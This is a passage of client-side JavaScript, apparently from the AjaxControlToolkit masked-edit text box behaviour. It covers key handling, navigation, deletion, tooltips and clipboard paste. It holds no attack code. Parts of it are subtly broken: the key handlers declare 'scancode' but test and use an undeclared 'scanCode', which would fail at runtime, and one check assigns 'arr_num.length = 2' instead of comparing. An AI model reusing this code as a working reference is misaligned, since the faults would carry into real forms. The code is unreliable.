            $removeHandler(e, "blur", this._blurHandler);
            this._blurHandler = null;
        }
        if (this._changeHandler) 
        {
            $removeHandler(e, "change", this._changeHandler);
            this._changeHandler = null;
        }
        if (this._keypressdown) 
        {
            $removeHandler(e, "keydown", this._keypressdown);
            this._keypressdown = null;
        }
        if (this._keypressHandler) 
        {
            $removeHandler(e, "keypress", this._keypressHandler);
            this._keypressHandler = null;
        }
        if (this._timerHandler) {
            this._timer.set_enabled(false);
            this._timerHandler = null;
            this._timer.dispose();
            this._timer = null;
        }
        AjaxControlToolkit.MaskedEditBehavior.callBaseMethod(this, 'dispose');
    }
    //
    // EVENT TARGET
    //
    , _OnTimerTicket : function() 
    {
        this._SaveSymb = "";
        if (this._InLostfocus)
        {
            return;
        }
        this._timer.set_enabled(false);
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        if (this._SaveText != "")                
        {
            wrapper.set_Value(this._SaveText);
            this.setSelectionRange(this._SavePosi,this._SavePosi);
            this._SaveText = ""; 
            this._SavePosi = -1;
            this._SaveMask = wrapper.get_Value();
        }
        else
        {
            if (wrapper.get_Value().length != this._EmptyMask.length)
            {
                wrapper.set_Value(this._SaveMask);
            }
            if (this._timer.get_interval() != 100)
            {
                this._timer.set_interval(100);
            }
        }
        this._timer.set_enabled(true);
    }
    , _onChange : function() 
    {
        if (!this._FiringOnChange) {
            //capture and initialize external input Ex : calendar Extender
            this._onFocus();
        }
    }
    , _onFocus : function() 
    {
        this._InLostfocus = false;
        this._RemoveDivToolTip();
        if (this._OnFocusCssClass != "")
        {
            this.AddCssClassMaskedEdit(this._OnFocusCssClass);
        }
        var e = this.get_element();
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(e);
        this._initialvalue = wrapper.get_Value();
        if (this._ClearMaskOnLostfocus)
        {
            this._InitValue(wrapper.get_Value(),false);
        }
        else
        {
            this._InitValue(wrapper.get_Value().substring(this._LogicFirstPos,this._LogicLastPos+1),false);
        }
        var ClearText = this._getClearMask();
        var hastip = false;
        if (this._MessageValidatorTip && ClearText == "")
        {
            hastip = true;
        }
        if ( (this._MaskType == AjaxControlToolkit.MaskedEditType.Time || this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime) && this.get_CultureAMPMPlaceholder() != "" && ClearText == "")
        {
            if (this._AcceptAmPm)
            {
                this.InsertAMPM(this.get_CultureAMPMPlaceholder().substring(0,1));
            }
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && ClearText != "")
        {
            if (this._LogicSymbol == "-" && this._OnFocusCssNegative != "")
            {
                this.AddCssClassMaskedEdit(this._OnFocusCssNegative);
            }
        }
        if (this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
        {
            if (this._LogicLastInt != -1)
            {
                this.setSelectionRange(this._LogicLastInt,this._LogicLastInt);
            }
            else
            {
                this.setSelectionRange(this._LogicLastPos+1,this._LogicLastPos+1);
            }
        }
        else
        {
            if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && ClearText != "")
            {
                var pos = this._getLastEmptyPosition()+1;
                this.setSelectionRange(pos,pos);
            }
            else
            {
                this.setSelectionRange(this._LogicFirstPos,this._LogicFirstPos);
            }
        }
        this.ShowTooltipMessage(false);
        if (hastip)
        {
            this.ShowTooltipMessage(true);
        }
    }
    , _PeforformValidLostFocus : function(isblur) 
    {
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        var ClearText = this._getClearMask(wrapper.get_Value());
        if (ClearText == "" && this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._LogicSymbol == "-")
        {
            this.InsertSignal("+");
        }
        // auto format 
        if (ClearText != "" && this._AutoComplete && this._MaskType == AjaxControlToolkit.MaskedEditType.Date)
        {
            this.AutoFormatDate();
        }
        else if (ClearText != "" && this._AutoComplete && this._MaskType == AjaxControlToolkit.MaskedEditType.Time)
        {
            this.AutoFormatTime();
        }
        else if (ClearText != "" && this._AutoComplete && this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
        {
            this.AutoFormatDateTime();
        }
        else if (ClearText != "" && this._AutoComplete && this._MaskType == AjaxControlToolkit.MaskedEditType.Number)
        {
            this.AutoFormatNumber();
        }
        // clear mask and set CSS
        if ((this._ClearMaskOnLostfocus && ClearText != "") || (isblur && this._ClearMaskOnLostfocus) )
        {
            wrapper.set_Value(this._getClearMask(wrapper.get_Value()));
        }
        this.AddCssClassMaskedEdit("");
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._LogicSymbol == "-" && this._OnBlurCssNegative != "")
        {
            this.AddCssClassMaskedEdit(this._OnBlurCssNegative);
        }
        // perform validation
        this.ShowTooltipMessage(false);
        this._RemoveDivToolTip();
        var IsValid = this._CaptureClientsValidators();
        if (!IsValid)
        {
            if (this._OnInvalidCssClass != "")
            {
                this.AddCssClassMaskedEdit(this._OnInvalidCssClass);
            }
            if (this._ClearTextOnInvalid)
            {
                this._createMask();
                wrapper.set_Value(this._EmptyMask);
            }
        }
        return IsValid;
    }
    , _onBlur : function(evt) 
    {
        this._InLostfocus = true;
        var IsValid = this._PeforformValidLostFocus(true);
        if (IsValid)
        {
            // trigger TextChanged with postback
            var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
            if (!this.get_element().readOnly && (this._initialvalue != wrapper.get_Value()) && evt) {
                this._fireChanged();
            }
        }
    }

    , _fireChanged : function() {
        /// <summary>
        /// Attempts to fire the change event on the attached textbox
        /// </summary>

        this._FiringOnChange = true;
        var elt = this.get_element();
        if (document.createEventObject) {
            elt.fireEvent("onchange");
        } else if (document.createEvent) {
            var e = document.createEvent("HTMLEvents");
            e.initEvent("change", true, true);
            elt.dispatchEvent(e);
        }
        this._FiringOnChange = false;
    }

    , _onKeyPress : function(evt) 
    {
        var scancode = this._KeyCode(evt);
        if (scancode == 9) //tab default action
        {
            return true;
        }
        if (scanCode == 13)
        {
            var IsValid = this._PeforformValidLostFocus(false);
            this._ErroOnEnter = false;
            if (!IsValid)
            {
                this._ErroOnEnter = true;
            }
            // Opera not perform cancel event. Re-perform at Timer
            if (Sys.Browser.agent == Sys.Browser.Opera)
            {
                var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
                this._SaveText = wrapper.get_Value(); 
                this._SavePosi = this._getCurrentPosition();
                this._timer.set_enabled(false);
                this._timer.set_interval(1);
                this._timer.set_enabled(true);
                
            }
            return IsValid;
        }   
        if (this._OnFocusCssClass != "" && this._ErroOnEnter)
        {
            this.AddCssClassMaskedEdit(this._OnFocusCssClass);
        }
        this._ErroOnEnter = false;
        if (!this._isNormalChar(evt,scancode)) 
        {
            this._ExecuteNav(evt,scancode);
            return false;
        }
        // process and validate normal char
        curpos = this._deleteTextSelection();
        if (curpos == -1)
        {
            curpos = this._getCurrentPosition()
        }
        var c = String.fromCharCode(scanCode);
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.Date && c == this.get_CultureDatePlaceholder())
        {
            this._AdjustElementDate();
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Time && c == this.get_CultureTimePlaceholder())
        {
            this._AdjustElementTime();
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime && (c == this.get_CultureTimePlaceholder() || c == this.get_CultureDatePlaceholder()) )
        {
            this._AdjustElementDateTime(c);
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.LeftToRight && c == this.get_CultureDecimalPlaceholder() && curpos == this._LogicLastInt)
        {
            this._AdjustElementDecimalLTR();
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft && c == this.get_CultureDecimalPlaceholder() && curpos == this._LogicLastInt)
        {
            this._AdjustElementDecimalRTL();
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && c == this.get_CultureDecimalPlaceholder() && curpos != this._LogicLastInt)
        {
            this._MoveDecimalPos();
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.LeftToRight && c == this.get_CultureThousandsPlaceholder() )
        {
            this._MoveThousandLTR();
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft && c == this.get_CultureThousandsPlaceholder() )
        {
            this._MoveThousandRTL();
        }
        else if ( (this._MaskType == AjaxControlToolkit.MaskedEditType.Time || this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime) && this.get_CultureFirstLettersAMPM().toUpperCase().indexOf(c.toUpperCase()) != -1)
        {
            if (this._AcceptAmPm)
            {
                this.InsertAMPM(c);
                this.setSelectionRange(curpos,curpos);
            }
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._AcceptNegative != AjaxControlToolkit.MaskedEditShowSymbol.None && "+-".indexOf(c) != -1)
        {
            if (Sys.Browser.agent != Sys.Browser.Opera)
            {
                this.InsertSignal(c);
                this.setSelectionRange(curpos,curpos);
            }
            else
            {
                // Opera perform double event! when press "-" at numpad key
                if (this._SaveSymb == "")
                {
                    this.InsertSignal(c);
                    this.setSelectionRange(curpos,curpos);
                    this._SaveSymb = c;
                    this._timer.set_enabled(false);
                    this._timer.set_interval(1);
                    this._timer.set_enabled(true);
                }
                else
                {
                    this._SaveSymb = "";
                }
            }
        }
        else
        {
            var OriPos = curpos;
            curpos = this._getNextPosition(curpos);
            var logiccur = curpos;
            if (this._LogicLastInt != -1 && this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
            {
                if (OriPos == this._LogicLastInt)
                {
                    logiccur = this._getLastEmptyPosition();
                }
            }
            else
            {
                if (curpos >= this._LogicLastPos+1 && this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
                {
                    logiccur = this._getLastEmptyPosition();
                }
            }
            if (this._processKey(logiccur,c)) 
            {
                if (this._MessageValidatorTip) 
                {
                    this.ShowTooltipMessage(false);
                }
                if (this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.LeftToRight)
                {
                    this._insertContent(c,logiccur);
                    curpos = this._getNextPosition(logiccur+1);
                } 
                else if (this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
                {
                    if (this._LogicLastInt == -1)
                    {
                        if (curpos < this._LogicLastPos+1)
                        {
                            this._insertContent(c,logiccur);
                            curpos = this._getNextPosition(logiccur+1);
                        }
                        else
                        {
                            this._insertContentRight(c);
                            curpos = this._LogicLastPos+1;
                        }
                    }
                    else
                    {
                        if (OriPos != this._LogicLastInt)
                        {
                            this._insertContent(c,logiccur);
                            curpos = this._getNextPosition(logiccur+1);
                        }
                        else
                        {
                            var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
                            var ClearText = this._getClearMask(wrapper.get_Value());
                            if (ClearText != "")
                            {
                                var pospt = ClearText.indexOf(this.get_CultureDecimalPlaceholder());
                                if (pospt != -1)                                
                                {
                                   var intnum = ClearText.substring(0,pospt);
                                   if (intnum == "0" || intnum == "-0")
                                   {
                                        this.setSelectionRange(this._LogicLastInt-1,this._LogicLastInt);
                                        this._deleteTextSelection();
                                        curpos = this._LogicLastInt;
                                        this.setSelectionRange(curpos,curpos);
                                   }
                                }
                            }
                            if (ClearText == "" && c == "0")
                            {
                                curpos = this._LogicLastInt;
                            }
                            else
                            {
                                this._insertContentRight(c);
                                curpos = this._LogicLastInt;
                            }
                        }
                    }
                }
                this.setSelectionRange(curpos,curpos);
            }
        }
        this._SetCancelEvent(evt);
        return false;
    }
    , _onKeyPressdown : function(evt) 
    {
        // for other browsers not IE (NOT IMPLEMENT document.activeElement)
        if (this._InLostfocus)
        {
            this._onFocus(evt);
        }
        var scancode = this._KeyCode(evt);
        if (scancode == 9) //tab default action
        {
            return true;
        }
        if (scanCode == 13)  //enter 
        {
            return true;
        }
        if (!this._isNormalChar(evt,scancode)) 
        {
            this._ExecuteNav(evt,scancode);
        }
        else
        {
            // Opera not perform cancel event. Re-perform at Timer
            if (Sys.Browser.agent == Sys.Browser.Opera)
            {
                // cancel shift Ins , assume Ins = "-"
                if (evt.rawEvent.shiftKey && !evt.rawEvent.ctrlKey && !evt.rawEvent.altKey && evt.rawEvent.keyCode == 45) 
                {
                    var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
                    this._SaveText = wrapper.get_Value(); 
                    this._SavePosi = this._getCurrentPosition();
                    this._timer.set_enabled(false);
                    this._timer.set_interval(1);
                    this._timer.set_enabled(true);
                }
            }
        }
    }
    , _onMouseOut : function(evt) 
    {
        this._RemoveDivToolTip();
    }
    , _onMouseMove : function(evt) 
    {
        if ((this._InLostfocus || this._ErroOnEnter) && this._ExternalMessageError != "")
        {
            this._ShowDivToolTip(evt);
        }
    }
    ,_onMouseover : function(evt) 
    {
        // check if validation execute at asyc.post back
        if (!$get("DivMaskedEditTip_" + this.get_element().id))
        {
            this._CaptureServerValidators();
        }
        if ((this._InLostfocus || this._ErroOnEnter) && this._ExternalMessageError != "")
        {
            this._createDivToolTip(evt,this._ExternalMessageError);
        }
    }
    //
    // CREATE TOOLTIP
    //
    , _ShowDivToolTip : function(evt) {
        var et = $get("DivMaskedEditTip_" + this.get_element().id);
        if (!et)
        {
            this._createDivToolTip(evt,this._ExternalMessageError);
            et = $get("DivMaskedEditTip_" + this.get_element().id);
        }
        var mousepos = this._GetMousePos(evt);
        et.style.left = mousepos.x + 1/*offset To prevent flick in FF*/ + "px";
        et.style.top  = mousepos.y + 1/*offset To prevent flick in FF*/ + "px";
    }
    , _GetMousePos : function(evt) {
        var scrOfX = 0, scrOfY = 0;
        if( typeof( window.pageYOffset ) == 'number' ) {
            //Netscape compliant
            scrOfY = window.pageYOffset;
            scrOfX = window.pageXOffset;
        } 
        else if( document.body && ( document.body.scrollLeft || document.body.scrollTop ) ) {
            //DOM compliant
            scrOfY = document.body.scrollTop;
            scrOfX = document.body.scrollLeft;
        } 
        else if( document.documentElement && ( document.documentElement.scrollLeft || document.documentElement.scrollTop ) ) {
        
            //IE6 standards compliant mode
            scrOfY = document.documentElement.scrollTop;
            scrOfX = document.documentElement.scrollLeft;
        }
        var posX = 0, posY = 0;
        if( typeof( evt.pageX ) == 'number' ) 
        {
            posX = evt.pageX;
            posY = evt.pageY;
        } 
        else if( typeof( evt.clientX ) == 'number' ) 
        {
            posX = evt.clientX;
            posY = evt.clientY;
        }
        return {x:posX+scrOfX,y:posY+scrOfY}
    }
    , _RemoveDivToolTip : function() {
        var e = $get("DivMaskedEditTip_" + this.get_element().id);
        if (e)
        {
            document.body.removeChild(e);
        }
    }
    , _createDivToolTip : function(evt,Msg) {
        var e = $get("DivMaskedEditTip_" + this.get_element().id);
        if (!e)
        {
            var DivTp;
            var mousepos = this._GetMousePos(evt);
            DivTp = document.createElement("div");
            DivTp.id = "DivMaskedEditTip_" + this.get_element().id;
            DivTp.style.position = "absolute"; 
            DivTp.style.left = mousepos.x + 2/*offset*/ + "px";
            DivTp.style.top  = mousepos.y + 2/*offset*/ + "px";
            DivTp.style.zIndex = 99999;
            if (this._CssMessageErrorFloat == "")
            {
                DivTp.style.padding = "3px 3px 3px 3px";
                DivTp.style.border = "Solid 1px #000000";
                DivTp.style.backgroundColor = "#FFFFEA";
                DivTp.style.fontWeight = "normal";
                DivTp.style.fontSize = "12px";
                DivTp.style.fontFamily = "Arial";
            }
            else
            {
                DivTp.className = this._CssMessageErrorFloat;
            }
            DivTp.innerHTML = Msg;
            DivTp = document.body.insertBefore(DivTp, document.body.firstChild);
        }
    }
    //
    // Execute Navigator on Mask
    //
    , _ExecuteNav : function(evt,scanCode)
    {
        if (evt.type == "keydown")
        {
            if (Sys.Browser.agent == Sys.Browser.InternetExplorer) 
            {
                // ctrl v 
                if ( (scanCode == 86 || scanCode == 118) && !evt.shiftKey && evt.ctrlKey && !evt.altKey) {
                    this._SetCancelEvent(evt);
                    this._PasteFromClipBoard();
                    return;
                }
                //Shift Ins 
                if (evt.shiftKey && !evt.ctrlKey && !evt.altKey && evt.keyCode == 45) {
                    this._SetCancelEvent(evt);
                    this._PasteFromClipBoard();
                    return;
                }
            }
        }
        if (Sys.Browser.agent != Sys.Browser.InternetExplorer || evt.type == "keypress") 
        {
            //Shift Ins 
            if (evt.rawEvent.shiftKey && !evt.rawEvent.ctrlKey && !evt.rawEvent.altKey && evt.rawEvent.keyCode == 45) {
                //at opera assume Ins = "-" not execute Shift-Ins
                this._SetCancelEvent(evt);
                this._PasteFromClipBoard();
                return;
            }
            // ctrl v 
            if (evt.type == "keypress" && (scanCode == 86 || scanCode == 118) && !evt.shiftKey && evt.ctrlKey && !evt.altKey) {
                this._SetCancelEvent(evt);
                this._PasteFromClipBoard();
                return;
            }
        }
        if (Sys.Browser.agent == Sys.Browser.InternetExplorer || evt.type == "keypress") 
        {
            if (scanCode == 8) // BackSpace
            {
                this._SetCancelEvent(evt);
                curpos = this._deleteTextSelection();
                if (curpos != -1)
                {
                    this.setSelectionRange(curpos,curpos);
                }
                else
                {
                    curpos = this._getCurrentPosition();
                    this._backspace(curpos);
                    
                    curpos = this._getPreviousPosition(curpos-1);
                    this.setSelectionRange(curpos,curpos);
                }
                var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
                if (this._MessageValidatorTip && wrapper.get_Value() == this._EmptyMask)
                {
                    this.ShowTooltipMessage(true);
                }
                // Opera not perform cancel event. Re-perform at Timer
                if (Sys.Browser.agent == Sys.Browser.Opera)
                {
                    this._SaveText = wrapper.get_Value(); 
                    this._SavePosi = curpos;
                    this._timer.set_enabled(false);
                    this._timer.set_interval(1);
                    this._timer.set_enabled(true);
                }
            }
            else if (scanCode == 46 || scanCode == 127) // delete
            {
                this._SetCancelEvent(evt);
                var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
                curpos = this._deleteTextSelection();
                if (curpos == -1)
                {
                    curpos = this._getCurrentPosition();
                    if (!this._isValidMaskedEditPosition(curpos))
                    {
                        if (curpos != this._LogicLastInt && this._InputDirection != AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
                        {
                            curpos = this._getNextPosition(curpos);
                        }
                    }
                    this._deleteAtPosition(curpos,false);
                }
                else
                {
                    if (this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
                    {
                        ClearText = this._getClearMask(wrapper.get_Value());
                        if (ClearText != "")
                        {
                            ClearText = ClearText.replace(new RegExp("(\\" + this.get_CultureThousandsPlaceholder() + ")", "g"), "") + '';
                            if (ClearText.substring(ClearText.length-1,ClearText.length) == this.get_CultureDecimalPlaceholder())
                            {
                                ClearText = ClearText.substring(0,ClearText.length-1);
                                this.loadValue(ClearText,this._LogicLastInt);
                            }
                            else
                            {
                                this.loadValue(ClearText,this._LogicLastPos);
                            }
                        }
                    }
                }
                this.setSelectionRange(curpos,curpos);
                if (this._MessageValidatorTip && wrapper.get_Value() == this._EmptyMask)
                {
                    this.ShowTooltipMessage(true);
                }
                if (Sys.Browser.agent == Sys.Browser.Opera)
                {
                    this._SaveText = wrapper.get_Value(); 
                    this._SavePosi = curpos;
                    this._timer.set_enabled(false);
                    this._timer.set_interval(1);
                    this._timer.set_enabled(true);
                }
            }
            else if(evt.ctrlKey)
            {
                if (scanCode == 39 || scanCode == 35 || scanCode == 34) //Right or END or pgdown
                {
                    this._DirectSelText = "R";
                    if (Sys.Browser.agent == Sys.Browser.Opera)
                    {
                        return;
                    }
                    this._SetCancelEvent(evt);
                    curpos = this._getCurrentPosition();
                    this.setSelectionRange(curpos,this._LogicLastPos+1);
                }
                else if (scanCode == 37  || scanCode == 36 || scanCode == 33) //Left or Home or pgup
                {
                    this._DirectSelText = "L";
                    if (Sys.Browser.agent == Sys.Browser.Opera)
                    {
                        return;
                    }
                    this._SetCancelEvent(evt);
                    curpos = this._getCurrentPosition();
                    this.setSelectionRange(this._LogicFirstPos,curpos);
                }
            }
            else if (scanCode == 35 || scanCode == 34) //END or pgdown
            {
                this._DirectSelText = "R";
                if (Sys.Browser.agent == Sys.Browser.Opera)
                {
                    return;
                }
                this._SetCancelEvent(evt);
                if (evt.shiftKey)
                {
                    curpos = this._getCurrentPosition();
                    this.setSelectionRange(curpos,this._LogicLastPos+1);
                }
                else
                {
                    this.setSelectionRange(this._LogicLastPos+1,this._LogicLastPos+1);
                }
            }
            else if (scanCode == 36 || scanCode == 33) //Home or pgup
            {
                this._DirectSelText = "L";
                if (Sys.Browser.agent == Sys.Browser.Opera)
                {
                    return;
                }
                this._SetCancelEvent(evt);
                if (evt.shiftKey)
                {
                    curpos = this._getCurrentPosition();
                    this.setSelectionRange(this._LogicFirstPos,curpos);
                }
                else
                {
                    this.setSelectionRange(this._LogicFirstPos,this._LogicFirstPos);
                }
            }
            else if (scanCode == 37) //left
            {
                this._DirectSelText = "L";
                if (Sys.Browser.agent == Sys.Browser.Opera)
                {
                    return;
                }
                this._SetCancelEvent(evt);
                if (evt.shiftKey)
                {
                    var BoundSel = this._GetBoundSelection();
                    if (BoundSel)
                    {
                        if (BoundSel.left > this._LogicFirstPos)
                        {
                            BoundSel.left --;     
                        }
                        this.setSelectionRange(BoundSel.left,BoundSel.right);
                    }
                    else
                    {
                        var pos = this._getCurrentPosition();
                        if (pos  > this._LogicFirstPos)
                        {
                            this.setSelectionRange(pos -1,pos);
                        }
                    }
                }
                else
                {
                    curpos = this._getCurrentPosition()-1;
                    if (curpos < this._LogicFirstPos)
                    {
                        curpos = this._LogicFirstPos;
                    }
                    this.setSelectionRange(curpos,curpos);
                }
                if (Sys.Browser.agent == Sys.Browser.Opera)
                {
                    var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
                    this._SaveText = wrapper.get_Value(); 
                    this._SavePosi = curpos;
                    this._timer.set_enabled(false);
                    this._timer.set_interval(1);
                    this._timer.set_enabled(true);
                }
            }
            else if (scanCode == 39) // right
            {
                this._DirectSelText = "R";
                if (Sys.Browser.agent == Sys.Browser.Opera)
                {
                    return;
                }
                this._SetCancelEvent(evt);
                if (evt.shiftKey)
                {
                    var BoundSel = this._GetBoundSelection();
                    if (BoundSel)
                    {
                        if (BoundSel.right < this._LogicLastPos+1)
                        {
                            BoundSel.right ++;     
                        }
                        this.setSelectionRange(BoundSel.left,BoundSel.right);
                    }
                    else
                    {
                        pos = this._getCurrentPosition();
                        if (pos  < this._LogicLastPos+1)
                        {
                            this.setSelectionRange(pos,pos+1);
                        }
                    }
                }
                else
                {
                    curpos = this._getCurrentPosition()+1;
                    if (curpos > this._LogicLastPos+1)
                    {
                        curpos = this._LogicLastPos+1;
                    }
                    this.setSelectionRange(curpos,curpos);
                }
                if (Sys.Browser.agent == Sys.Browser.Opera)
                {
                    var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
                    this._SaveText = wrapper.get_Value(); 
                    this._SavePosi = curpos;
                    this._timer.set_enabled(false);
                    this._timer.set_interval(1);
                    this._timer.set_enabled(true);
                }
            }
            else if (scanCode == 27) // esc
            {
                this._SetCancelEvent(evt);
                var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
                if (this._EmptyMask == this._initialvalue)
                {
                    wrapper.set_Value("");
                }
                else
                {
                    wrapper.set_Value(this._initialvalue);
                }
                this._onFocus();
            }
            //else if (scanCode == 38 || scanCode == 40)  //up - down 
        }
        // any other nav key
        this._SetCancelEvent(evt);
    }
    //
    // backspace at current position
    //
    , _backspace : function(curpos) 
    {
        var exec = false;
        if (curpos > this._LogicFirstPos)
        {
            var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
            var masktext = wrapper.get_Value();
            curpos = this._getPreviousPosition(curpos-1);
            this._deleteAtPosition(curpos, true);
            exec = true;
        }
        return exec;
    }
    //
    // delete at current position
    //
    , _deleteAtPosition : function(curpos,isBS) 
    {
        var exec = false;
        var lastpos = this._LogicLastPos+1;
        if (this._LogicLastInt != -1 && this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
        {
            lastpos = this._LogicLastInt;
        }
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        if (isBS == false && this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft && curpos == lastpos)
        {
            ClearText = this._getClearMask(wrapper.get_Value());
            if (ClearText != "")
            {
                exec = true;
                ClearText = ClearText.replace(new RegExp("(\\" + this.get_CultureThousandsPlaceholder() + ")", "g"), "") + '';
                if (ClearText.substring(ClearText.length-1,ClearText.length) == this.get_CultureDecimalPlaceholder())
                {
                    ClearText = ClearText.substring(0,ClearText.length-1);
                }
                var arr_num = ClearText.split(this.get_CultureDecimalPlaceholder());
                if (this._LogicLastInt != -1 && arr_num[0] != "")
                {
                    arr_num[0] = arr_num[0].substring(0,arr_num[0].length-1);
                    ClearText =  arr_num[0];
                    if (arr_num.length = 2)
                    {
                        ClearText += this.get_CultureDecimalPlaceholder() + arr_num[1];
                    }
                }
                else
                {
                    ClearText = ClearText.substring(0,ClearText.length-1);
                }
                ClearText += this._LogicSymbol;
                this.loadValue(ClearText,lastpos);
            }
        }
        else
        {
            var masktext = wrapper.get_Value().substring(this._LogicFirstPos,this._LogicLastPos+1);
            var logiTxt = this._LogicTextMask.substring(this._LogicFirstPos,this._LogicLastPos+1);
            var qtdDt = 0;
            var curvld = curpos - this._LogicFirstPos;
            if (this._isValidMaskedEditPosition(curpos))
            {
                exec = true;
                if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
                {
                    var arr_mask = masktext.split(" ");
                    var posmask = curpos - this._LogicFirstPos;
                    if (posmask > arr_mask[0].length)
                    {
                        // at position time
                        masktext = arr_mask[1];        
                        qtdDt = arr_mask[0].length +1;
                        logiTxt = logiTxt.substring(qtdDt);
                        curvld -= qtdDt;
                    }
                    else
                    {
                        // at position date
                        masktext = arr_mask[0];
                        logiTxt = logiTxt.substring(0,arr_mask[0].length);
                    }
                }
                var resttext = masktext.substring(curvld+1);
                var restlogi = logiTxt.substring(curvld+1);
                masktext = masktext.substring(0,curvld) + this._PromptChar;
                logiTxt = logiTxt.substring(0,curvld) + this._LogicPrompt;
                // clear rest of mask
                for (i = 0 ; i < parseInt(resttext.length,10) ; i++) 
                {
                    if (this._isValidMaskedEditPosition(curpos+1+i))
                    {
                        masktext += this._PromptChar;
                        logiTxt += this._LogicPrompt;
                    }
                    else
                    {
                        masktext += resttext.substring(i,i+1);
                        logiTxt += restlogi.substring(i,i+1);
                    }
                }
                // insert only valid text
                posaux = this._getNextPosition(curpos);
                for (i = 0 ; i < parseInt(resttext.length,10) ; i++) 
                {
                    if (this._isValidMaskedEditPosition(curpos+1+i) && restlogi.substring(i,i+1) != this._LogicPrompt)
                    {
                        masktext = masktext.substring(0,posaux- this._LogicFirstPos-qtdDt) + resttext.substring(i,i+1) + masktext.substring(posaux+1- this._LogicFirstPos-qtdDt);
                        logiTxt = logiTxt.substring(0,posaux- this._LogicFirstPos-qtdDt) + restlogi.substring(i,i+1) + logiTxt.substring(posaux+1- this._LogicFirstPos-qtdDt);
                        posaux = this._getNextPosition(posaux+1);
                    }
                }            
                if (this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
                {
                    var oritext = wrapper.get_Value().substring(this._LogicFirstPos,this._LogicLastPos+1);
                    var orilogi = this._LogicTextMask.substring(this._LogicFirstPos,this._LogicLastPos+1)
                    var arr_mask = oritext.split(" ");
                    var posmask = curpos - this._LogicFirstPos;
                    if (posmask > arr_mask[0].length)
                    {
                        // at position time
                        masktext = arr_mask[0] + " " +  masktext;        
                        logiTxt = orilogi.substring(0, qtdDt) + logiTxt;
                    }
                    else
                    {
                        // at position date
                        masktext = masktext + " " + arr_mask[1];
                        logiTxt = logiTxt + orilogi.substring(arr_mask[0].length);
                    }
                }
                var currValue = wrapper.get_Value();
                masktext = currValue.substring(0,this._LogicFirstPos) + masktext + currValue.substring(this._LogicLastPos+1);
                this._LogicTextMask = this._LogicTextMask.substring(0,this._LogicFirstPos) + logiTxt + this._LogicTextMask.substring(this._LogicLastPos+1);
                wrapper.set_Value(masktext);
            }
        }
        return exec;
    }
    //
    // Paste clip board
    //
    ,_ShowModalClipBoardInput : function()
    {
        var clip = prompt(this._ClipboardText,"");
        return clip;
    }
    ,_PasteFromClipBoard  : function()
    {
        var value = null;
        var curpos;
        var iniSel = -1;
        var fimSel = -1;
        if (Sys.Browser.agent == Sys.Browser.InternetExplorer) 
        {
            value = window.clipboardData.getData("Text");
        }
        else
        {
            //save current values because lost focus 
            var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
            var oldvalue = wrapper.get_Value();
            var BoundSel = this._GetBoundSelection();
            var curpos = this._getCurrentPosition();
            var OldAuto = this._AutoComplete;
            var OldInv = this._ClearTextOnInvalid;
            var OldCls = this._ClearMaskOnLostfocus;
            var OldDir = this._DirectSelText;
            this._AutoComplete = false;
            this._ClearTextOnInvalid = false;
            this._ClearMaskOnLostfocus = false;
            value = this._ShowModalClipBoardInput();
            this._AutoComplete = OldAuto;
            this._ClearTextOnInvalid = OldInv;
            this._ClearMaskOnLostfocus = OldCls;
            wrapper.set_Value(oldvalue);
            if (BoundSel)
            {
                this.setSelectionRange(BoundSel.left,BoundSel.right);
            }
            else
            {
                this.setSelectionRange(curpos,curpos);
            }
        }
        if (value == null || value == "")
        {
            return;
        }
        if (value.length > this._maskvalid.length)
        {
             value = value.substring(0,this._maskvalid.length);
        }
